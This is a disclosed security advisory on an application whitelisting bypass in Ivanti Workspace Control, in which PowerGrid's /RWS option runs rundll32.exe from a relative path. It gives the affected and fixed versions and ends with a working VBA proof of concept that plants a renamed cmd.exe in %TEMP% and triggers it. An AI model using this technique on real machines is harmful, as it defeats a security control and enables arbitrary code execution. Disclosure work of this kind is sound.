------------------------------------------------------------------------ Ivanti Workspace Control Application Whitelist bypass via PowerGrid /RWS command line argument ------------------------------------------------------------------------ Yorick Koster, August 2018 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was found that the PowerGrid application will execute rundll32.exe from a relative path when it is started with the /RWS command line option. An attacker can abuse this issue to bypass Application Whitelisting in order to run arbitrary code on the target machine. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully verified on Ivanti Workspace Control version 10.2.700.1. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue was resolved in Ivanti Workspace Control version 10.2.950.0. PowerGrid now uses the GetSystemDirectory() function to construct an absolute path to rundll32.exe. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20180801/ivanti-workspace-control-application-whitelist-bypass-via-powergrid-_rws-command-line-argument.html Proof of concept The VBA code below demonstrates this issue. The code tries to run cmd.exe from the %TEMP% folder. Private Sub PowerGridAWLBypass() On Error Resume Next Dim tmpPath, resPath, targetPath tmpPath = Environ("TEMP") resPath = Environ("RESPFDIR") targetPath = Environ("SystemRoot") & "\System32\cmd.exe" FileCopy targetPath, tmpPath & "\rundll32.exe" ChDir tmpPath Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") Dim oFile As Object Set oFile = fso.CreateTextFile(tmpPath & "\foo.xml") oFile.WriteLine "<foo></foo>" oFile.Close Set fso = Nothing Set oFile = Nothing Shell resPath & "\pwrgrid.exe /RWS foo.xml", vbNormalFocus End Sub